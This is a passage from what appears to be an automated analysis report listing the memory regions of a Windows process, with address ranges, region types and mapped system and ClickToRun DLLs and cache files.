	        filename = ""

Region:
	              id = 2271
	        start_va = 0x150000
	          end_va = 0x1b6fff
	     entry_point = 0x150000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2272
	        start_va = 0x320000
	          end_va = 0x41ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 2273
	        start_va = 0x490000
	          end_va = 0x49ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000490000"
	        filename = ""

Region:
	              id = 2274
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2275
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2276
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2277
	        start_va = 0x7fef2220000
	          end_va = 0x7fef2270fff
	     entry_point = 0x7fef2220000
	     region_type = mapped_file
	            name = "concrt140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")

Region:
	              id = 2278
	        start_va = 0x7fef2280000
	          end_va = 0x7fef22a6fff
	     entry_point = 0x7fef2280000
	     region_type = mapped_file
	            name = "sppc.dll"
	        filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll")

Region:
	              id = 2279
	        start_va = 0x7fef7260000
	          end_va = 0x7fef72d5fff
	     entry_point = 0x7fef7260000
	     region_type = mapped_file
	            name = "apiclient.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")

Region:
	              id = 2280
	        start_va = 0x7fef7320000
	          end_va = 0x7fef7322fff
	     entry_point = 0x7fef7320000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2281
	        start_va = 0x7fef7330000
	          end_va = 0x7fef7332fff
	     entry_point = 0x7fef7330000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2282
	        start_va = 0x7fef7340000
	          end_va = 0x7fef7342fff
	     entry_point = 0x7fef7340000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2283
	        start_va = 0x7fef7350000
	          end_va = 0x7fef7352fff
	     entry_point = 0x7fef7350000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2284
	        start_va = 0x7fef7360000
	          end_va = 0x7fef7364fff
	     entry_point = 0x7fef7360000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2285
	        start_va = 0x7fef7370000
	          end_va = 0x7fef7374fff
	     entry_point = 0x7fef7370000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2286
	        start_va = 0x7fef7380000
	          end_va = 0x7fef7382fff
	     entry_point = 0x7fef7380000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2287
	        start_va = 0x7fef7390000
	          end_va = 0x7fef742cfff
	     entry_point = 0x7fef7390000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")

Region:
	              id = 2288
	        start_va = 0x7fef7430000
	          end_va = 0x7fef7433fff
	     entry_point = 0x7fef7430000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2289
	        start_va = 0x7fef7440000
	          end_va = 0x7fef7443fff
	     entry_point = 0x7fef7440000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2290
	        start_va = 0x7fef7450000
	          end_va = 0x7fef7452fff
	     entry_point = 0x7fef7450000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2291
	        start_va = 0x7fef7460000
	          end_va = 0x7fef7463fff
	     entry_point = 0x7fef7460000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2292
	        start_va = 0x7fef7470000
	          end_va = 0x7fef7472fff
	     entry_point = 0x7fef7470000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2293
	        start_va = 0x7fef7480000
	          end_va = 0x7fef7482fff
	     entry_point = 0x7fef7480000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2294
	        start_va = 0x7fef7490000
	          end_va = 0x7fef7492fff
	     entry_point = 0x7fef7490000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2295
	        start_va = 0x7fef74a0000
	          end_va = 0x7fef74a2fff
	     entry_point = 0x7fef74a0000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2296
	        start_va = 0x7fef74b0000
	          end_va = 0x7fef74b2fff
	     entry_point = 0x7fef74b0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2297
	        start_va = 0x7fef74c0000
	          end_va = 0x7fef74c2fff
	     entry_point = 0x7fef74c0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2298
	        start_va = 0x7fef74d0000
	          end_va = 0x7fef75c1fff
	     entry_point = 0x7fef74d0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")

Region:
	              id = 2299
	        start_va = 0x7fef75d0000
	          end_va = 0x7fef75d3fff
	     entry_point = 0x7fef75d0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2300
	        start_va = 0x7fef75e0000
	          end_va = 0x7fef75f6fff
	     entry_point = 0x7fef75e0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")

Region:
	              id = 2301
	        start_va = 0x7fef7600000
	          end_va = 0x7fef761afff
	     entry_point = 0x7fef7600000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2302
	        start_va = 0x7fef7a60000
	          end_va = 0x7fef7a66fff
	     entry_point = 0x7fef7a60000
	     region_type = mapped_file
	            name = "msimg32.dll"
	        filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")

Region:
	              id = 2303
	        start_va = 0x7fef8320000
	          end_va = 0x7fef839bfff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 2304
	        start_va = 0x7fef8a40000
	          end_va = 0x7fef8a5dfff
	     entry_point = 0x7fef8a40000
	     region_type = mapped_file
	            name = "hlink.dll"
	        filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll")

Region:
	              id = 2305
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf4afff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 2306
	        start_va = 0x7fefb630000
	          end_va = 0x7fefb640fff
	     entry_point = 0x7fefb630000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2307
	        start_va = 0x7fefb990000
	          end_va = 0x7fefbba4fff
	     entry_point = 0x7fefb990000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 2308
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2309
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2310
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2311
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2312
	        start_va = 0x7fefd730000
	          end_va = 0x7fefd769fff
	     entry_point = 0x7fefd730000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2313
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2314
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2315
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2316
	        start_va = 0x7fefdcc0000
	          end_va = 0x7fefea47fff
	     entry_point = 0x7fefdcc0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2317
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2318
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2319
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2320
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2321
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2322
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2323
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2324
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2526
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2527
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 2528
	        start_va = 0x1d0000
	          end_va = 0x1d6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2529
	        start_va = 0x1e0000
	          end_va = 0x1e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001e0000"
	        filename = ""

Region:
	              id = 2530
	        start_va = 0x1f0000
	          end_va = 0x1f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 2531
	        start_va = 0x200000
	          end_va = 0x200fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 2532
	        start_va = 0x210000
	          end_va = 0x21ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2533
	        start_va = 0x4a0000
	          end_va = 0x627fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004a0000"
	        filename = ""

Region:
	              id = 2534
	        start_va = 0x630000
	          end_va = 0x7b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000630000"
	        filename = ""

Region:
	              id = 2535
	        start_va = 0x7c0000
	          end_va = 0x87ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007c0000"
	        filename = ""

Region:
	              id = 2536
	        start_va = 0x880000
	          end_va = 0xc72fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 2537
	        start_va = 0xdf0000
	          end_va = 0xe6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000df0000"
	        filename = ""

Region:
	              id = 2538
	        start_va = 0xe70000
	          end_va = 0x113efff
	     entry_point = 0xe70000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2539
	        start_va = 0x7fef2540000
	          end_va = 0x7fef2621fff
	     entry_point = 0x7fef2540000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 2540
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2541
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2542
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2566
	        start_va = 0xc80000
	          end_va = 0xd7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c80000"
	        filename = ""

Region:
	              id = 2567
	        start_va = 0x11e0000
	          end_va = 0x12dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011e0000"
	        filename = ""

Region:
	              id = 2568
	        start_va = 0x1310000
	          end_va = 0x131ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 2569
	        start_va = 0x1320000
	          end_va = 0x141ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001320000"
	        filename = ""

Region:
	              id = 2570
	        start_va = 0x7fee1b10000
	          end_va = 0x7fee1baffff
	     entry_point = 0x7fee1b10000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2571
	        start_va = 0x7fefa680000
	          end_va = 0x7fefa726fff
	     entry_point = 0x7fefa680000
	     region_type = mapped_file
	            name = "dxgi.dll"
	        filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")

Region:
	              id = 2572
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2573
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2574
	        start_va = 0x7fefd340000
	          end_va = 0x7fefd37cfff
	     entry_point = 0x7fefd340000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2575
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2576
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2577
	        start_va = 0x7fef97f0000
	          end_va = 0x7fef9b05fff
	     entry_point = 0x7fef97f0000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2578
	        start_va = 0x420000
	          end_va = 0x420fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000420000"
	        filename = ""

Region:
	              id = 2579
	        start_va = 0x430000
	          end_va = 0x430fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000430000"
	        filename = ""

Region:
	              id = 2580
	        start_va = 0x440000
	          end_va = 0x441fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000440000"
	        filename = ""

Region:
	              id = 2581
	        start_va = 0x450000
	          end_va = 0x457fff
	     entry_point = 0x450000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2582
	        start_va = 0x460000
	          end_va = 0x461fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000460000"
	        filename = ""

Region:
	              id = 2583
	        start_va = 0x470000
	          end_va = 0x473fff
	     entry_point = 0x470000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2584
	        start_va = 0x480000
	          end_va = 0x483fff
	     entry_point = 0x480000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2585
	        start_va = 0xd80000
	          end_va = 0xd80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d80000"
	        filename = ""

Region:
	              id = 2586
	        start_va = 0xd90000
	          end_va = 0xd90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d90000"
	        filename = ""

Region:
	              id = 2587
	        start_va = 0xdd0000
	          end_va = 0xddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000dd0000"
	        filename = ""

Region:
	              id = 2588
	        start_va = 0x1420000
	          end_va = 0x151ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001420000"
	        filename = ""

Region:
	              id = 2589
	        start_va = 0x15a0000
	          end_va = 0x169ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015a0000"
	        filename = ""

Region:
	              id = 2590
	        start_va = 0x1740000
	          end_va = 0x174ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001740000"
	        filename = ""

Region:
	              id = 2591
	        start_va = 0x17e0000
	          end_va = 0x18dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017e0000"
	        filename = ""

Region:
	              id = 2592
	        start_va = 0x19d0000
	          end_va = 0x1acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019d0000"
	        filename = ""

Region:
	              id = 2593
	        start_va = 0x1b80000
	          end_va = 0x1c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b80000"
	        filename = ""

Region:
	              id = 2594
	        start_va = 0x1c80000
	          end_va = 0x1fc2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c80000"
	        filename = ""

Region:
	              id = 2595
	        start_va = 0x20c0000
	          end_va = 0x21bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020c0000"
	        filename = ""

Region:
	              id = 2596
	        start_va = 0x2300000
	          end_va = 0x237ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002300000"
	        filename = ""

Region:
	              id = 2597
	        start_va = 0x23f0000
	          end_va = 0x24effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023f0000"
	        filename = ""

Region:
	              id = 2598
	        start_va = 0x25f0000
	          end_va = 0x26effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025f0000"
	        filename = ""

Region:
	              id = 2599
	        start_va = 0x2870000
	          end_va = 0x296ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002870000"
	        filename = ""

Region:
	              id = 2600
	        start_va = 0x77610000
	          end_va = 0x77612fff
	     entry_point = 0x77610000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2601
	        start_va = 0x7fef4940000
	          end_va = 0x7fef4948fff
	     entry_point = 0x7fef4940000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2602
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
